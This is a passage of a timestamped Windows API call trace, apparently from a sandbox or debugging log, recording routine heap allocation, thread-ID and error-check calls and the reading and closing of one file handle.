GetLastError () returned 0x0 [0074.923] GetFileType (hFile=0x1ec) returned 0x1 [0074.923] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b9164 | out: lpFileInformation=0x9b9164) returned 1 [0074.924] FileTimeToLocalFileTime (in: lpFileTime=0x9b9178, lpLocalFileTime=0x9b91a8 | out: lpLocalFileTime=0x9b91a8) returned 1 [0074.924] FileTimeToSystemTime (in: lpFileTime=0x9b91a8, lpSystemTime=0x9b9198 | out: lpSystemTime=0x9b9198) returned 1 [0074.924] FileTimeToLocalFileTime (in: lpFileTime=0x9b9170, lpLocalFileTime=0x9b91a8 | out: lpLocalFileTime=0x9b91a8) returned 1 [0074.924] FileTimeToSystemTime (in: lpFileTime=0x9b91a8, lpSystemTime=0x9b9198 | out: lpSystemTime=0x9b9198) returned 1 [0074.924] FileTimeToLocalFileTime (in: lpFileTime=0x9b9168, lpLocalFileTime=0x9b91a8 | out: lpLocalFileTime=0x9b91a8) returned 1 [0074.924] FileTimeToSystemTime (in: lpFileTime=0x9b91a8, lpSystemTime=0x9b9198 | out: lpSystemTime=0x9b9198) returned 1 [0074.924] GetLastError () returned 0x0 [0074.924] GetCurrentThreadId () returned 0x9b0 [0074.924] GetLastError () returned 0x0 [0074.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0074.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0074.924] GetLastError () returned 0x0 [0074.924] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7367420, lpDistanceToMoveHigh=0x9b9218*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9218*=0) returned 0x706afc [0074.924] GetLastError () returned 0x0 [0074.924] GetCurrentThreadId () returned 0x9b0 [0074.924] GetLastError () returned 0x0 [0074.924] GetCurrentThreadId () returned 0x9b0 [0074.924] GetLastError () returned 0x0 [0074.924] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7350875, lpDistanceToMoveHigh=0x9b95b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b95b0*=0) returned 0x702a5b [0074.924] GetLastError () returned 0x0 [0074.924] GetCurrentThreadId () returned 0x9b0 [0074.925] GetLastError () returned 0x0 [0074.925] GetCurrentThreadId () returned 0x9b0 [0074.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4a8) returned 0x2c37800 [0074.925] GetLastError () returned 0x0 [0074.925] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc24c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9564, lpOverlapped=0x0 | out: lpBuffer=0x2cc24c8*, lpNumberOfBytesRead=0x9b9564*=0x1000, lpOverlapped=0x0) returned 1 [0074.925] GetLastError () returned 0x0 [0074.925] GetCurrentThreadId () returned 0x9b0 [0074.925] GetLastError () returned 0x0 [0074.925] GetCurrentThreadId () returned 0x9b0 [0074.925] GetLastError () returned 0x0 [0074.925] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b823c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b823c*=0) returned 0x703a5b [0074.925] GetLastError () returned 0x0 [0074.925] GetCurrentThreadId () returned 0x9b0 [0074.925] GetLastError () returned 0x0 [0074.925] GetLastError () returned 0x0 [0074.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc24c8 | out: hHeap=0x2ad0000) returned 1 [0074.925] CloseHandle (hObject=0x1ec) returned 1 [0074.925] GetLastError () returned 0x0 [0074.925] GetCurrentThreadId () returned 0x9b0 [0074.926] GetLastError () returned 0x0 [0074.926] GetLastError () returned 0x0 [0074.926] GetCurrentThreadId () returned 0x9b0 [0074.926] GetLastError () returned 0x0 [0074.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb5a70 | out: hHeap=0x2ad0000) returned 1 [0074.926] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026050, Size=0x8e2) returned 0x3026050 [0074.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c37800 | out: hHeap=0x2ad0000) returned 1 [0074.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.926] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8100, Size=0x20) returned 0x2a1fbf0 [0074.926] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a18dd0 [0074.926] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18dd0, Size=0x64) returned 0x2a19508 [0074.926] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac0e68 [0074.926] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0e68, Size=0xb8) returned 0x30fd1c0 [0074.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fd1c0 | out: hHeap=0x2ad0000) returned 1 [0074.926] GetCurrentThreadId () returned 0x9b0 [0074.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fb8e0 [0074.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7f38 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0074.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0074.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0074.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a94bb0 [0074.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcf20 | out: hHeap=0x2ad0000) returned 1 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0074.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fa1e8 [0074.927] GetCurrentThreadId () returned 0x9b0 [0074.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.928] GetCurrentThreadId () returned 0x9b0 [0074.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.928] GetCurrentThreadId () returned 0x9b0 [0074.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.928] GetCurrentThreadId () returned 0x9b0 [0074.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.928] GetCurrentThreadId () returned 0x9b0 [0074.928] GetCurrentThreadId () returned 0x9b0 [0074.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.928] GetCurrentThreadId () returned 0x9b0 [0074.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.928] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8148, Size=0x20) returned 0x2a1fbf0 [0074.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0074.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.928] GetCurrentThreadId () returned 0x9b0 [0074.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83d0 [0074.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0074.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.928] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a18f38 [0074.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83d0 | out: hHeap=0x2ad0000) returned 1 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.929] GetCurrentThreadId () returned 0x9b0 [0074.929] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f38, Size=0x64) returned 0x2a19ab8 [0074.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.929] GetCurrentThreadId () returned 0x9b0 [0074.929] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2ac0748 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0074.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fa1e8 | out: hHeap=0x2ad0000) returned 1 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0748 | out: hHeap=0x2ad0000) returned 1 [0074.929] GetCurrentThreadId () returned 0x9b0 [0074.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9bc8 [0074.929] GetCurrentThreadId () returned 0x9b0 [0074.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.930] GetCurrentThreadId () returned 0x9b0 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.930] GetCurrentThreadId () returned 0x9b0 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.930] GetCurrentThreadId () returned 0x9b0 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.930] GetCurrentThreadId () returned 0x9b0 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.930] GetCurrentThreadId () returned 0x9b0 [0074.930] GetCurrentThreadId () returned 0x9b0 [0074.930] GetCurrentThreadId () returned 0x9b0 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.930] GetCurrentThreadId () returned 0x9b0 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83b8 [0074.930] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca83b8, Size=0x20) returned 0x2a1fbf0 [0074.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0074.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84c0 [0074.931] GetCurrentThreadId () returned 0x9b0 [0074.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83e8 [0074.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0074.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84c0 | out: hHeap=0x2ad0000) returned 1 [0074.931] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a19058 [0074.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83e8 | out: hHeap=0x2ad0000) returned 1 [0074.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.931] GetCurrentThreadId () returned 0x9b0 [0074.931] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19ab8 [0074.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.931] GetCurrentThreadId () returned 0x9b0 [0074.931] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2ac0618 [0074.931] GetCurrentThreadId () returned 0x9b0 [0074.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0074.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f9bc8 | out: hHeap=0x2ad0000) returned 1 [0074.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0618 | out: hHeap=0x2ad0000) returned 1 [0074.932] GetCurrentThreadId () returned 0x9b0 [0074.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fab18 [0074.932] GetCurrentThreadId () returned 0x9b0 [0074.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.932] GetCurrentThreadId () returned 0x9b0 [0074.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.932] GetCurrentThreadId () returned 0x9b0 [0074.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f80 [0074.932] GetCurrentThreadId () returned 0x9b0 [0074.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.932] GetCurrentThreadId () returned 0x9b0 [0074.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.933] GetCurrentThreadId () returned 0x9b0 [0074.933] GetCurrentThreadId () returned 0x9b0 [0074.933] GetCurrentThreadId () returned 0x9b0 [0074.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.933] GetCurrentThreadId () returned 0x9b0 [0074.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8460 [0074.933] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8460, Size=0x20) returned 0x2a1fbf0 [0074.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0074.933] GetCurrentThreadId () returned 0x9b0 [0074.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81f0 [0074.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8430 [0074.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0074.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81f0 | out: hHeap=0x2ad0000) returned 1 [0074.933] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a193b8 [0074.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8430 | out: hHeap=0x2ad0000) returned 1 [0074.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.933] GetCurrentThreadId () returned 0x9b0 [0074.933] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a193b8, Size=0x64) returned 0x2a19818 [0074.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.933] GetCurrentThreadId () returned 0x9b0 [0074.934] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0288 [0074.934] GetCurrentThreadId () returned 0x9b0 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.934] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0288, Size=0xb8) returned 0x30fd100 [0074.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b040 [0074.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b040 | out: hHeap=0x2ad0000) returned 1 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f80 | out: hHeap=0x2ad0000) returned 1 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fab18 | out: hHeap=0x2ad0000) returned 1 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fd100 | out: hHeap=0x2ad0000) returned 1 [0074.934] GetCurrentThreadId () returned 0x9b0 [0074.934] GetCurrentThreadId () returned 0x9b0 [0074.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fae28 [0074.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.934] GetCurrentThreadId () returned 0x9b0 [0074.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.935] GetCurrentThreadId () returned 0x9b0 [0074.935] GetCurrentThreadId () returned 0x9b0 [0074.935] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f68, Size=0x20) returned 0x2a1fbf0 [0074.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.935] GetCurrentThreadId () returned 0x9b0 [0074.935] GetCurrentThreadId () returned 0x9b0 [0074.935] GetLastError () returned 0x0 [0074.935] GetLastError () returned 0x0 [0074.935] GetCurrentThreadId () returned 0x9b0 [0074.935] GetLastError () returned 0x0 [0074.935] GetLastError () returned 0x0 [0074.935] GetCurrentThreadId () returned 0x9b0 [0074.935] GetLastError () returned 0x0 [0074.935] GetLastError () returned 0x0 [0074.935] GetCurrentThreadId () returned 0x9b0 [0074.935] GetLastError () returned 0x0 [0074.935] GetLastError () returned 0x0 [0074.935] GetCurrentThreadId () returned 0x9b0 [0074.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.935] GetCurrentThreadId () returned 0x9b0 [0074.935] GetLastError () returned 0x0 [0074.936] GetLastError () returned 0x0 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82c8 [0074.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f50, Size=0x20) returned 0x2a1f858 [0074.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x40) returned 0x2a192e0 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.936] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x64) returned 0x2a19508 [0074.936] GetCurrentThreadId () returned 0x9b0 [0074.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.937] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac03b8 [0074.937] GetCurrentThreadId () returned 0x9b0 [0074.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0074.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x64) returned 0x2a19b98 [0074.937] GetCurrentThreadId () returned 0x9b0 [0074.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x110) returned 0x2cbc4b8 [0074.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0074.937] GetCurrentThreadId () returned 0x9b0 [0074.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83a0 [0074.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82b0 [0074.937] GetCurrentThreadId () returned 0x9b0 [0074.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82b0 | out: hHeap=0x2ad0000) returned 1 [0074.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0074.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83a0 | out: hHeap=0x2ad0000) returned 1 [0074.937] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac03b8, Size=0xb8) returned 0x30fd040 [0074.937] GetCurrentThreadId () returned 0x9b0 [0074.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0074.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83a0 [0074.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84a8 [0074.938] GetCurrentThreadId () returned 0x9b0 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84a8 | out: hHeap=0x2ad0000) returned 1 [0074.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 